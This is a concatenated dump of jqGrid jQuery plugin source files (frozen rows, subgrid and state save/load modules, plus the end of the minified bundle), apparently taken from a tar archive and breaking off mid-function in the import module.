f=!1;try{if(Ye(i.rows[0].cells).each(function(e){if(Ye(this).hasClass("jqgrid-rownumber"))return f=e,!1}),!1!==f){for(t=i.rows.length,e=1;e<t;)Ye(i.rows[e].cells[f]).html(e),e++;for(t=Ye(u)[0].rows.length,e=1;e<t;)Ye(u)[0].rows[e].cells[f].innerHTML=e,e++}}catch(e){}}i.grid.frbDiv=s,i.p.frozenRows=!0,i.p.frozenRowsPrm=m}})},destroyFrozenRows:function(e){return this.each(function(){this.grid.frbDiv.remove(),this.p.frozenRows=!1,e&&(this.p.frozenRowsPrm=null)})},setFrozenRows:function(e){return this.each(function(){0<this.p.records&&Ye(this).jqGrid("setupFrozenRows",e),Ye(this).on("jqGridAfterGridComplete.setFrozenRows",function(){this.p.frozenRowsPrm&&!Ye.isEmptyObject(this.p.frozenRowsPrm)?(Ye(this).jqGrid("destroyFrozenRows"),Ye(this).jqGrid("setupFrozenRows",this.p.frozenRowsPrm)):Ye(this).jqGrid("setupFrozenRows",e)}),Ye(this).on("jqGridResizeStop.setFrozenRows",function(){if(this.p.frozenRowsPrm)try{Ye(this).jqGrid("destroyFrozenRows");var e=0<this.p.frozenRowsPrm.last&&!this.p.frozenRowsPrm.saveFirstLastId&&0===this.p.frozenRowsPrm.first;e&&(this.p.frozenRowsPrm.first=this.p.frozenRowsPrm.last),Ye(this).jqGrid("setupFrozenRows",this.p.frozenRowsPrm),e&&(this.p.frozenRowsPrm.first=0)}catch(e){}})})}}),Ye.jgrid.extend({dbInit:function(e){return this.each(function(){"indexeddb"===e&&Ye(this).jqGrid("_initIndexedDB_")})},_initIndexedDB_:function(){this.each(function(){var d=this;indexedDB.databases().then(function(e){var t=indexedDB.open(d.p.dbconfig.dbname);t.onupgradeneeded=e=>{console.info("Database created: "+d.p.dbconfig.dbname)},t.onsuccess=function(e){const t=e.target.result;var r=parseInt(t.version),s=Ye.jgrid.getElemByAttrVal(d.p.colModel,"key",!0);async function i(n){var e=d.p.dbconfig;if("string"==typeof e.dataUrl){try{var l=await(await fetch(e.dataUrl,e.fetchOptions)).json();null!==e.reader&&(l=Ye.jgrid.getAccessor(l,e.reader))}catch(e){return void console.log("Error:"+e)}Ye.jgrid.isFunction(e.beforeInsertData)&&(l=e.beforeInsertData.call(d,l))}else Array.isArray(e.dataUrl)&&(l=e.dataUrl);d.p.dbconfig.dbversion=r+1;e=indexedDB.open(e.dbname,r+1);e.onupgradeneeded=function(e){var t=e.target.result;if(!n){var r=t.createObjectStore(d.p.dbconfig.dbtable,{keyPath:s.name});for(let e=0;e<d.p.colModel.length;e++){var i=d.p.colModel[e];i.name===s.name?r.createIndex(i.name,i.name,{unique:!0}):r.createIndex(i.name,i.name,{unique:!1})}}var o,a=e.target.transaction.objectStore(d.p.dbconfig.dbtable);a.transaction.oncomplete=function(e){},a.transaction.onerror=function(e){Ye.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")};for(o of l)d.p.dbconfig.isKeyInData||(o[s.name]=Math.random().toString(16).slice(2)),a.put(o);d.p.dbconfig.ready_req=!0,d.grid.populate()},e.onerror=e=>{Ye.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")}}if(Ye.isEmptyObject(s))Ye.jgrid.info_dialog("Warning","Missed key: No uniquie key is set in colModel. Creating table fail","Close");else if(t.objectStoreNames.contains(d.p.dbconfig.dbtable))if(d.p.dbconfig.loadIfExists||d.p.dbconfig.deleteIfExists){const o=t.transaction(d.p.dbconfig.dbtable,"readwrite").objectStore(d.p.dbconfig.dbtable),a=o.count();a.onsuccess=()=>{var e;0<a.result?d.p.dbconfig.deleteIfExists?((e=o.clear()).onsuccess=e=>{console.log("All records are cleared"),t.close(),i(!0)},e.onerror=e=>{Ye.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")}):d.p.dbconfig.loadIfExists?(t.close(),i(!0)):(t.close(),d.p.dbconfig.ready_req=!0,d.grid.populate()):(t.close(),i(!0))}}else t.close(),d.p.dbconfig.ready_req=!0,d.grid.populate();else t.close(),i(!1)},t.onerror=e=>{Ye.jgrid.info_dialog("Error",e.target.error.name+" : "+e.target.error.message,"Close")}})})},updateStorageRecord:async function(l,s){let d=this[0],p=d.p.dbconfig,e=d.p.datatype;return new Promise(function(r,a){if(Array.isArray(l)||(l=[l]),s=s||d.p.keyName,l=Ye.jgrid.normalizeDbData.call(d,l,d.p.colModel),"indexeddb"===e){const n=window.indexedDB.open(p.dbname);n.onsuccess=e=>{var t=n.result.transaction(p.dbtable,"readwrite"),i=(t.oncomplete=e=>{r(e),console.log("Transaction completed succefully")},t.onerror=t=>{a(t);try{Ye.jgrid.info_dialog.call("Error",t.target.error,"Close",{styleUI:d.p.styleUI})}catch(e){console.log(t.target.error)}},t.objectStore(p.dbtable));for(let r=0;r<l.length;r++){if(!l[r].hasOwnProperty(s)||""===l[r][s]){t.abort();break}var o=i.openCursor();o.onsuccess=e=>{var t,e=e.target.result;e&&((t=e.value)[s]===l[r][s]?(delete l[r].oper,t=Object.assign(t,l[r]),e.update(t)):e.continue())},o.onerror=e=>{console.log(e.target.error)}}}}})},addStorageRecord:async function(n,l){let s=this[0],d=s.p.dbconfig,e=s.p.datatype;return new Promise(function(i,o){if(Array.isArray(n)||(n=[n]),l=l||s.p.keyName,n=Ye.jgrid.normalizeDbData.call(s,n,s.p.colModel),"indexeddb"===e){const a=window.indexedDB.open(d.dbname);a.onsuccess=e=>{var t=a.result.transaction(d.dbtable,"readwrite"),r=(t.oncomplete=e=>{i(e),console.log("Transaction completed succefully")},t.onerror=t=>{o(t);try{Ye.jgrid.info_dialog.call("Error",t.target.error,"Close",{styleUI:s.p.styleUI})}catch(e){console.log(t.target.error)}},t.objectStore(d.dbtable));for(let e=0;e<n.length;e++)n[e].hasOwnProperty(l)&&""!==n[e][l]||(n[e][l]=Math.random().toString(16).slice(2)),r.add(n[e]).onsuccess=e=>{}}}})},deleteStorageRecord:async function(l,s){let d=this[0],p=d.p.dbconfig,e=d.p.datatype;return new Promise(function(i,o){if(Array.isArray(l)||(l=l.split(",")),s=s||d.p.keyName,"indexeddb"===e){var a=[],t={};for(let e=0;e<l.length;e++)t[s]=l[e],a.push(t);a=Ye.jgrid.normalizeDbData.call(d,a,d.p.colModel);const n=window.indexedDB.open(p.dbname);n.onsuccess=e=>{var t=n.result.transaction(p.dbtable,"readwrite"),r=(t.oncomplete=e=>{i(e),console.log("Transaction completed succefully")},t.onerror=t=>{o(t);try{Ye.jgrid.info_dialog.call("Error",t.target.error,"Close",{styleUI:d.p.styleUI})}catch(e){console.log(t.target.error)}},t.objectStore(p.dbtable));for(let t=0;t<l.length;t++)r.delete(a[t][s]).onsuccess=e=>{console.log("Deleted record: "+l[t])}}}})}})}); //# sourceMappingURL=jquery.jqGrid.min.js.mapgrid.frozenrows.js000064400000014606151677266200010267 0ustar00/*jshint eqeqeq:false */ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "./grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { "use strict"; //module begin $.jgrid.extend({ setupFrozenRows : function ( options ){ var prm = $.extend({ first : 0, last : 0, rowids :[], saveFirstLastId : false, classes : "" }, options || {}); return this.each(function(){ // restrictions if(this.p.subGrid === true || this.p.treeGrid === true || this.p.cellEdit === true || /*$t.p.sortable ||*/ this.p.scroll || this.p.frozenColumns === true || this.p.frozenRows === true|| this.p.grouping === true) { return; } if(prm.first <= 0 && prm.last <= 0 && prm.rowids.length ===0 ) { return; } var $t = this, i, j, len, borderbox = $("#"+$.jgrid.jqID($t.p.id)).css("box-sizing") === 'border-box', pixelfix = borderbox ? 1 : 0, tid = '#'+$.jgrid.jqID($t.p.id), tvid ='#gview_'+$.jgrid.jqID($t.p.id), //hth = $(".ui-jqgrid-htable", tvid).height(),//Get the height of the column header to set the top value hgh = document.getElementById("gbox_"+$t.p.id).getBoundingClientRect().top, hth = document.getElementById($t.p.id).getBoundingClientRect().top, htw = $(tvid).width(),//Get the width of the content frowms = [],//store frozen rows fbDiv = $('<div style="position:absolute;left:0px;top:'+(hth-hgh-pixelfix)+'px;height:0px;overflow-x:hidden;" class="frozen-rdiv ui-jqgrid-rdiv"></div>'); $(tvid).append(fbDiv); $('.frozen-rdiv', tvid).css('width',htw-($.jgrid.scrollbarWidth()+2)); frowms.push($('.jqgfirstrow', tid).clone(true)); if(prm.rowids && prm.rowids.length > 0 ) { for( i =0;i<prm.rowids.length; i++ ) { j = $t.rows.length; while( j-- ) { if($t.rows[j].id === prm.rowids[i]) { frowms.push($($t.rows[j]).clone(true)); $($t.rows[j]).insertBefore($t.rows[i+1]); break; } } } } else if(prm.first > 0) { for(i = 0; i < prm.first; i++) { frowms.push($($t.rows[i+1]).clone(true)); if(prm.saveFirstLastId) { if(!prm.rowids) { prm.rowids =[]; } prm.rowids.push($t.rows[i+1].id); } } } else if(prm.last > 0) { j = $t.rows.length; for(i = 0; i < prm.last; i++) { frowms.splice(1,0,$($t.rows[j-1]).clone(true)); if(prm.saveFirstLastId) { if(!prm.rowids) { prm.rowids =[]; } prm.rowids.unshift($t.rows[j-1].id); } $($t.rows[j-1]).insertBefore($t.rows[1]); } } else { return; } fbDiv.css("height", 'auto'); var out = $(tid).clone(true);//Get the <table><tbody></tbody></table> tag out.children('tbody').empty(); for(j = 0 ,len = frowms.length; j <len; j++){//Loop insert the cloned row into the <tbody></tbody> tag frowms[j].addClass(prm.classes).appendTo(out); } out.appendTo(fbDiv); var tfid = $t.p.id +"_fr"; $(tid, fbDiv).attr("id", tfid); tfid = '#'+$.jgrid.jqID(tfid); /* * Set the events required in freezing * */ var getstyle = $.jgrid.getMethod("getStyleUI"), stylemodule = $t.p.styleUI + ".common", //disabled = getstyle(stylemodule,'disabled', true), highlight = getstyle(stylemodule,'highlight', true), hover = getstyle(stylemodule,'hover', true); $('.frozen-rdiv', tvid).on('click','tr',function(){//click on the frozen line to add a highlight effect if($t.p.selrow) { $($t).jqGrid('resetSelection',$t.p.selrow); } var index = $(this).index(); $(this).addClass(highlight).siblings().removeClass(highlight); $t.p.selrow = this.id; $('.frozen-rdiv tr').eq(index).addClass(highlight).siblings().removeClass(highlight); }); $(tfid).on('click',function(){//When the click is a frozen column, the highlighting effect of the frozen column is clear $('.frozen-rdiv tbody').children('tr').each(function(){ $(this).removeClass(highlight); }); }); var bdiv = $(tvid +" .ui-jqgrid-bdiv").first(); bdiv.on('scroll', function(){//Set the left and right scroll of the frozen line var curX = this.scrollLeft; $('.frozen-rdiv').scrollLeft(curX); }); $('.frozen-rdiv tr').hover(//Set the effect of moving the mouse on the frozen line function(){ var index = $(this).index(); $('.frozen-rdiv tr').eq(index).addClass(hover); }, function(){ var index = $(this).index(); $('.frozen-rdiv tr').eq(index).removeClass(hover); } ); if($t.p.rownumbers) { var find_index = false; try { $($t.rows[0].cells).each(function(k){ if( $(this).hasClass('jqgrid-rownumber')) { find_index = k; return false; } }); if(find_index !== false) { j = $t.rows.length; i=1; while (i<j) { $($t.rows[i].cells[find_index]).html( i ); i++; } j = $(tfid)[0].rows.length; i=1; while (i<j) { $(tfid)[0].rows[i].cells[find_index].innerHTML = i ; i++; } } } catch(e){} } $t.grid.frbDiv = fbDiv; $t.p.frozenRows = true; $t.p.frozenRowsPrm = prm; }); }, destroyFrozenRows : function(deep) { return this.each(function(){ this.grid.frbDiv.remove(); this.p.frozenRows = false; if(deep) { this.p.frozenRowsPrm = null; } }); }, setFrozenRows : function( options ) { return this.each(function(){ if( this.p.records > 0 ) { $(this).jqGrid("setupFrozenRows", options); } $(this).on('jqGridAfterGridComplete.setFrozenRows', function () { if(this.p.frozenRowsPrm && !$.isEmptyObject(this.p.frozenRowsPrm)) { $(this).jqGrid("destroyFrozenRows"); $(this).jqGrid("setupFrozenRows", this.p.frozenRowsPrm); } else { $(this).jqGrid("setupFrozenRows", options); } }); $(this).on('jqGridResizeStop.setFrozenRows', function () { if(this.p.frozenRowsPrm) { try { $(this).jqGrid("destroyFrozenRows"); var test = this.p.frozenRowsPrm.last > 0 && !this.p.frozenRowsPrm.saveFirstLastId && this.p.frozenRowsPrm.first === 0; if(test) { this.p.frozenRowsPrm.first = this.p.frozenRowsPrm.last; } $(this).jqGrid("setupFrozenRows", this.p.frozenRowsPrm); if(test) { this.p.frozenRowsPrm.first = 0; } } catch(e){} } }); }); } }); //module end }));grid.subgrid.js000064400000027474151677266200007517 0ustar00/*jshint eqeqeq:false */ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "./grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { "use strict"; //module begin $.jgrid.extend({ setSubGrid : function () { return this.each(function (){ var $t = this, cm, i, classes = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].subgrid, suboptions = { plusicon : classes.icon_plus, minusicon : classes.icon_minus, openicon: classes.icon_open, expandOnLoad: false, selectOnExpand : false, selectOnCollapse : false, reloadOnExpand : true, onErrorLoadData : null }; $t.p.subGridOptions = $.extend(suboptions, $t.p.subGridOptions || {}); $t.p.colNames.unshift(""); $t.p.colModel.unshift({name:'subgrid',width: $.jgrid.cell_width ? $t.p.subGridWidth+$t.p.cellLayout : $t.p.subGridWidth,sortable: false,resizable:false,hidedlg:true,search:false,fixed:true}); cm = $t.p.subGridModel; if(cm[0]) { cm[0].align = $.extend([],cm[0].align || []); for(i=0;i<cm[0].name.length;i++) { cm[0].align[i] = cm[0].align[i] || 'left';} } }); }, addSubGridCell :function (pos,iRow) { var prp='', ic, sid, icb ; this.each(function(){ prp = this.formatCol(pos,iRow); sid= this.p.id; ic = this.p.subGridOptions.plusicon; icb = $.jgrid.styleUI[(this.p.styleUI || 'jQueryUI')].common; }); return "<td role=\"gridcell\" aria-describedby=\""+sid+"_subgrid\" class=\"ui-sgcollapsed sgcollapsed\" "+prp+"><a style='cursor:pointer;' class='ui-sghref'><span class='" + icb.icon_base +" "+ic+"'></span></a></td>"; }, addSubGrid : function( pos, sind ) { return this.each(function(){ var ts = this; if (!ts.grid ) { return; } var base = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].base, common = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].common, errors = $.jgrid.getRegional(this, 'errors'); //------------------------- var subGridCell = function(trdiv,cell,pos) { var tddiv = $("<td align='"+ts.p.subGridModel[0].align[pos]+"'></td>").html(cell); $(trdiv).append(tddiv); }; var subGridXml = function(sjxml, sbid){ var tddiv, i, sgmap, dummy = $("<table class='" + base.rowTable + " ui-common-table'><tbody></tbody></table>"), trdiv = $("<tr></tr>"); for (i = 0; i<ts.p.subGridModel[0].name.length; i++) { tddiv = $("<th class='" + base.headerBox+" ui-th-subgrid ui-th-column ui-th-"+ts.p.direction+"'></th>"); $(tddiv).html(ts.p.subGridModel[0].name[i]); $(tddiv).width( ts.p.subGridModel[0].width[i]); $(trdiv).append(tddiv); } $(dummy).append(trdiv); if (sjxml){ sgmap = ts.p.xmlReader.subgrid; $(sgmap.root+" "+sgmap.row, sjxml).each( function(){ trdiv = $("<tr class='" + common.content+" ui-subtblcell'></tr>"); if(sgmap.repeatitems === true) { $(sgmap.cell,this).each( function(i) { subGridCell(trdiv, $(this).text() || ' ',i); }); } else { var f = ts.p.subGridModel[0].mapping || ts.p.subGridModel[0].name; if (f) { for (i=0;i<f.length;i++) { subGridCell(trdiv, $.jgrid.getXmlData(this, f[i]) || ' ',i); } } } $(dummy).append(trdiv); }); } var pID = $(ts.grid.bDiv).find("table").first().attr("id")+"_"; $("#"+$.jgrid.jqID(pID+sbid)).append(dummy); ts.grid.hDiv.loading = false; $("#load_"+$.jgrid.jqID(ts.p.id)).hide(); return false; }; var subGridJson = function(sjxml, sbid){ var tddiv,result,i,cur, sgmap,j, dummy = $("<table class='" + base.rowTable + " ui-common-table'><tbody></tbody></table>"), trdiv = $("<tr></tr>"); for (i = 0; i<ts.p.subGridModel[0].name.length; i++) { tddiv = $("<th class='" + base.headerBox + " ui-th-subgrid ui-th-column ui-th-"+ts.p.direction+"'></th>"); $(tddiv).html(ts.p.subGridModel[0].name[i]); $(tddiv).width( ts.p.subGridModel[0].width[i]); $(trdiv).append(tddiv); } $(dummy).append(trdiv); if (sjxml){ sgmap = ts.p.jsonReader.subgrid; result = $.jgrid.getAccessor(sjxml, sgmap.root); if ( result !== undefined ) { for (i=0;i<result.length;i++) { cur = result[i]; trdiv = $("<tr class='" + common.content+" ui-subtblcell'></tr>"); if(sgmap.repeatitems === true) { if(sgmap.cell) { cur=cur[sgmap.cell]; } for (j=0;j<cur.length;j++) { subGridCell(trdiv, cur[j] || ' ',j); } } else { var f = ts.p.subGridModel[0].mapping || ts.p.subGridModel[0].name; if(f.length) { for (j=0;j<f.length;j++) { subGridCell(trdiv, $.jgrid.getAccessor(cur, f[j] ) || ' ',j); } } } $(dummy).append(trdiv); } } } var pID = $(ts.grid.bDiv).find("table").first().attr("id")+"_"; $("#"+$.jgrid.jqID(pID+sbid)).append(dummy); ts.grid.hDiv.loading = false; $("#load_"+$.jgrid.jqID(ts.p.id)).hide(); return false; }; var populatesubgrid = function( rd ) { var sid,dp, i, j; sid = $(rd).attr("id"); dp = {nd_: (new Date().getTime())}; dp[ts.p.prmNames.subgridid]=sid; if(!ts.p.subGridModel[0]) { return false; } if(ts.p.subGridModel[0].params) { for(j=0; j < ts.p.subGridModel[0].params.length; j++) { for(i=0; i<ts.p.colModel.length; i++) { if(ts.p.colModel[i].name === ts.p.subGridModel[0].params[j]) { dp[ts.p.colModel[i].name]= $("td", rd).eq( i ).text().replace(/\ \;/ig,''); } } } } if(!ts.grid.hDiv.loading) { ts.grid.hDiv.loading = true; $("#load_"+$.jgrid.jqID(ts.p.id)).show(); if(!ts.p.subgridtype) { ts.p.subgridtype = ts.p.datatype; } if($.jgrid.isFunction(ts.p.subgridtype)) { ts.p.subgridtype.call(ts, dp); } else { ts.p.subgridtype = ts.p.subgridtype.toLowerCase(); } switch(ts.p.subgridtype) { case "xml": case "json": $.ajax($.extend({ type:ts.p.mtype, url: $.jgrid.isFunction(ts.p.subGridUrl) ? ts.p.subGridUrl.call(ts, dp) : ts.p.subGridUrl, dataType:ts.p.subgridtype, data: $.jgrid.isFunction(ts.p.serializeSubGridData)? ts.p.serializeSubGridData.call(ts, dp) : dp, success: function(res, stat, sxml) { if(ts.p.subgridtype === "xml") { subGridXml(sxml.responseXML, sid); } else { subGridJson($.jgrid.parse(sxml.responseText), sid); } sxml=null; }, error : function(res, stat, err) { if($.jgrid.isFunction(ts.p.subGridOptions.onErrorLoadData) ) { ts.p.subGridOptions.onErrorLoadData.call(ts, rowid, res, stat, err); } else { var rT = res.responseText +" <br/>"+res.statusText; try { $.jgrid.info_dialog(errors.errcap,'<div class="'+common.error+'">'+ rT +'</div>', edit.bClose, {buttonalign:'right', styleUI : ts.p.styleUI }); } catch(e) { alert(rT); } } } }, $.jgrid.ajaxOptions, ts.p.ajaxSubgridOptions || {})); break; } } return false; }; var _id, pID,atd, nhc=0, bfsc, $r; $.each(ts.p.colModel,function(){ if(this.hidden === true || this.name === 'rn' || this.name === 'cb' || this.name === 'sc' ) { nhc++; } }); var len = ts.rows.length, i=1,hsret, ishsg = $.jgrid.isFunction(ts.p.isHasSubGrid); if( sind !== undefined && sind > 0) { i = sind; len = sind+1; } while(i < len) { if($(ts.rows[i]).hasClass('jqgrow')) { if(ts.p.scroll) { $(ts.rows[i].cells[pos]).off('click'); } hsret = null; if(ishsg) { hsret = ts.p.isHasSubGrid.call(ts, ts.rows[i].id); } if(hsret === false) { ts.rows[i].cells[pos].innerHTML = ""; } else { $(ts.rows[i].cells[pos]).on('click', function() { var tr = $(this).parent("tr")[0]; pID = ts.p.id; _id = tr.id; $r = $("#" + pID + "_" + _id + "_expandedContent"); if($(this).hasClass("sgcollapsed")) { bfsc = $(ts).triggerHandler("jqGridSubGridBeforeExpand", [pID + "_" + _id, _id]); bfsc = (bfsc === false || bfsc === 'stop') ? false : true; if(bfsc && $.jgrid.isFunction(ts.p.subGridBeforeExpand)) { bfsc = ts.p.subGridBeforeExpand.call(ts, pID+"_"+_id,_id); } if(bfsc === false) {return false;} if(ts.p.subGridOptions.reloadOnExpand === true || ( ts.p.subGridOptions.reloadOnExpand === false && !$r.hasClass('ui-subgrid') ) ) { atd = pos >=1 ? "<td colspan='"+pos+"'> </td>":""; $(tr).after( "<tr role='row' id='" + pID + "_" + _id + "_expandedContent" + "' class='ui-subgrid ui-sg-expanded'>"+atd+"<td class='" + common.content +" subgrid-cell'><span class='" + common.icon_base +" "+ts.p.subGridOptions.openicon+"'></span></td><td colspan='"+parseInt(ts.p.colNames.length-1-nhc,10)+"' class='" + common.content +" subgrid-data'><div id="+pID+"_"+_id+" class='tablediv'></div></td></tr>" ); $(ts).triggerHandler("jqGridSubGridRowExpanded", [pID + "_" + _id, _id]); if( $.jgrid.isFunction(ts.p.subGridRowExpanded)) { ts.p.subGridRowExpanded.call(ts, pID+"_"+ _id,_id); } else { populatesubgrid(tr); } } else { $r.show().removeClass("ui-sg-collapsed").addClass("ui-sg-expanded"); } $(this).html("<a style='cursor:pointer;' class='ui-sghref'><span class='" + common.icon_base +" "+ts.p.subGridOptions.minusicon+"'></span></a>").removeClass("sgcollapsed").addClass("sgexpanded"); if(ts.p.subGridOptions.selectOnExpand) { $(ts).jqGrid('setSelection',_id); } } else if($(this).hasClass("sgexpanded")) { bfsc = $(ts).triggerHandler("jqGridSubGridRowColapsed", [pID + "_" + _id, _id]); bfsc = (bfsc === false || bfsc === 'stop') ? false : true; if( bfsc && $.jgrid.isFunction(ts.p.subGridRowColapsed)) { bfsc = ts.p.subGridRowColapsed.call(ts, pID+"_"+_id,_id ); } if(bfsc===false) {return false;} if(ts.p.subGridOptions.reloadOnExpand === true) { $r.remove(".ui-subgrid"); } else if($r.hasClass('ui-subgrid')) { // incase of dynamic deleting $r.hide().addClass("ui-sg-collapsed").removeClass("ui-sg-expanded"); } $(this).html("<a style='cursor:pointer;' class='ui-sghref'><span class='"+common.icon_base +" "+ts.p.subGridOptions.plusicon+"'></span></a>").removeClass("sgexpanded").addClass("sgcollapsed"); if(ts.p.subGridOptions.selectOnCollapse) { $(ts).jqGrid('setSelection',_id); } } return false; }); } } i++; } if(ts.p.subGridOptions.expandOnLoad === true) { var offset = 0; if(ts.p.multiselect) { offset++;} if(ts.p.rownumbers) { offset++;} $(ts.rows).filter('.jqgrow').each(function(index,row){ $(row.cells[offset]).click(); }); } ts.subGridXml = function(xml,sid) {subGridXml(xml,sid);}; ts.subGridJson = function(json,sid) {subGridJson(json,sid);}; }); }, expandSubGridRow : function(rowid) { return this.each(function () { var $t = this; if(!$t.grid && !rowid) {return;} if($t.p.subGrid===true) { var rc = $(this).jqGrid("getInd",rowid,true); if(rc) { var sgc = $("td.sgcollapsed",rc)[0]; if(sgc) { $(sgc).trigger("click"); } } } }); }, collapseSubGridRow : function(rowid) { return this.each(function () { var $t = this; if(!$t.grid && !rowid) {return;} if($t.p.subGrid===true) { var rc = $(this).jqGrid("getInd",rowid,true); if(rc) { var sgc = $("td.sgexpanded",rc)[0]; if(sgc) { $(sgc).trigger("click"); } } } }); }, toggleSubGridRow : function(rowid) { return this.each(function () { var $t = this; if(!$t.grid && !rowid) {return;} if($t.p.subGrid===true) { var rc = $(this).jqGrid("getInd",rowid,true); if(rc) { var sgc = $("td.sgcollapsed",rc)[0]; if(sgc) { $(sgc).trigger("click"); } else { sgc = $("td.sgexpanded",rc)[0]; if(sgc) { $(sgc).trigger("click"); } } } } }); } }); //module end })); grid.import.js000064400000041432151677266200007360 0ustar00/*jshint eqeqeq:false, eqnull:true, devel:true */ /*global jQuery, define, URL */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "./grid.utils", "./grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { "use strict"; //module begin $.jgrid = $.jgrid || {}; $.extend($.jgrid,{ saveState : function ( jqGridId, o ) { o = $.extend({ useStorage : true, storageType : "localStorage", // localStorage or sessionStorage beforeSetItem : null, compression: false, compressionModule : 'LZString', // object by example gzip, LZString compressionMethod : 'compressToUTF16', // string by example zip, compressToUTF16 debug : false, saveData : true }, o || {}); if(!jqGridId) { return; } var gridstate = "", data = "", ret, $t = $("#"+jqGridId)[0], tmp; // to use navigator set storeNavOptions to true in grid options if(!$t.grid) { return;} tmp = $($t).data('inlineNav'); if(tmp && $t.p.inlineNav) { $($t).jqGrid('setGridParam',{_iN: tmp}); } tmp = $($t).data('filterToolbar'); if(tmp && $t.p.filterToolbar) { $($t).jqGrid('setGridParam',{_fT: tmp}); } gridstate = $($t).jqGrid('jqGridExport', { exptype : "jsonstring", ident:"", root:"", data : o.saveData }); data = ''; if( o.saveData ) { data = $($t.grid.bDiv).find(".ui-jqgrid-btable tbody").first().html(); var firstrow = data.indexOf("</tr>"); data = data.slice(firstrow + 5); } if($.jgrid.isFunction(o.beforeSetItem)) { ret = o.beforeSetItem.call($t, gridstate); if(ret != null) { gridstate = ret; } } if(o.debug) { $("#gbox_tree").prepend('<a id="link_save" target="_blank" download="jqGrid_dump.txt">Click to save Dump Data</a>'); var temp = [], file, properties = {}, url; temp.push("Grid Options\n"); temp.push(gridstate); temp.push("\n"); temp.push("GridData\n"); temp.push(data); properties.type = 'plain/text;charset=utf-8'; // Specify the file's mime-type. try { file = new File(temp, "jqGrid_dump.txt", properties); } catch (e) { file = new Blob(temp, properties); } url = URL.createObjectURL(file); $("#link_save").attr("href",url).on('click',function(){ $(this).remove(); }); } if(o.compression) { if(o.compressionModule) { try { ret = window[o.compressionModule][o.compressionMethod](gridstate); if(ret != null) { gridstate = ret; data = window[o.compressionModule][o.compressionMethod](data); } } catch (e) { // can not execute a compression. } } } if(o.useStorage && $.jgrid.isLocalStorage()) { try { window[o.storageType].setItem("jqGrid"+$t.p.id, gridstate); window[o.storageType].setItem("jqGrid"+$t.p.id+"_data", data); } catch (e) { if(e.code === 22) { // chrome is 21 // just for now. we should make some additionla changes and eventually clear some local items alert("Local storage limit is over!"); } } } return gridstate; }, loadState : function (jqGridId, gridstring, o) { o = $.extend({ useStorage : true, storageType : "localStorage", clearAfterLoad: false, // clears the jqGrid localStorage items aftre load beforeSetGrid : null, afterSetGrid : null, decompression: false, decompressionModule : 'LZString', // object by example gzip, LZString decompressionMethod : 'decompressFromUTF16', // string by example unzip, decompressFromUTF16 restoreData : true }, o || {}); if(!jqGridId) { return; } var ret, tmp, $t = $("#"+jqGridId)[0], data, iN, fT; if(o.useStorage) { try { gridstring = window[o.storageType].getItem("jqGrid"+$t.id); data = window[o.storageType].getItem("jqGrid"+$t.id+"_data"); } catch (e) { // can not get data } } if(!gridstring) { return; } if(o.decompression) { if(o.decompressionModule) { try { ret = window[o.decompressionModule][o.decompressionMethod]( gridstring ); if(ret != null ) { gridstring = ret; data = window[o.decompressionModule][o.decompressionMethod]( data ); } } catch (e) { // decompression can not be done } } } ret = $.jgrid.parseFunc( gridstring ); if( ret && $.jgrid.type(ret) === 'object') { if($t.grid) { $.jgrid.gridUnload( jqGridId ); } if($.jgrid.isFunction(o.beforeSetGrid)) { tmp = o.beforeSetGrid( ret ); if(tmp && $.jgrid.type(tmp) === 'object') { ret = tmp; } } // some preparings var retfunc = function( param ) { var p; p = param; return p;}, prm = { "reccount" : ret.reccount, "records" : ret.records, "lastpage" : ret.lastpage, "shrinkToFit" : retfunc( ret.shrinkToFit), "data": retfunc(ret.data), "datatype" : retfunc(ret.datatype), "grouping" : retfunc(ret.grouping) }; ret.shrinkToFit = false; ret.data = []; ret.datatype = 'local'; ret.grouping = false; //ret.navGrid = false; if(ret.inlineNav) { iN = retfunc( ret._iN ); ret._iN = null; delete ret._iN; } if(ret.filterToolbar) { fT = retfunc( ret._fT ); ret._fT = null; delete ret._fT; } var grid = $("#"+jqGridId).jqGrid( ret ); grid.jqGrid('delRowData','norecs'); if( o.restoreData && $.jgrid.trim( data ) !== '') { grid.append( data ); } grid.jqGrid( 'setGridParam', prm); if(ret.storeNavOptions && ret.navGrid) { // set to false so that nav grid can be run grid[0].p.navGrid = false; grid.jqGrid('navGrid', ret.pager, ret.navOptions, ret.editOptions, ret.addOptions, ret.delOptions, ret.searchOptions, ret.viewOptions); if(ret.navButtons && ret.navButtons.length) { for(var b = 0; b < ret.navButtons.length; b++) { if( 'sepclass' in ret.navButtons[b][1]) { grid.jqGrid('navSeparatorAdd', ret.navButtons[b][0], ret.navButtons[b][1]); } else { grid.jqGrid('navButtonAdd', ret.navButtons[b][0], ret.navButtons[b][1]); } } } } // refresh index grid[0].refreshIndex(); // subgrid if(ret.subGrid) { var ms = ret.multiselect === 1 ? 1 : 0, rn = ret.rownumbers === true ? 1 :0; grid.jqGrid('addSubGrid', ms + rn); // reopen the sugrid in order to maintain the subgrid state. // currently only one level is supported // todo : supposrt for unlimited levels $.each(grid[0].rows, function(i, srow){ if( $(srow).hasClass('ui-sg-expanded') ) { // reopen the subgrid $(grid[0].rows[i-1]).find('td.sgexpanded').click().click(); } }); } // treegrid if(ret.treeGrid) { var i = 1, len = grid[0].rows.length, expCol = ret.expColInd, isLeaf = ret.treeReader.leaf_field, expanded = ret.treeReader.expanded_field; // optimization of code needed here while(i<len) { $(grid[0].rows[i].cells[expCol]) .find("div.treeclick") .on("click",function(e){ var target = e.target || e.srcElement, ind2 =$.jgrid.stripPref(ret.idPrefix,$(target,grid[0].rows).closest("tr.jqgrow")[0].id), pos = grid[0].p._index[ind2]; 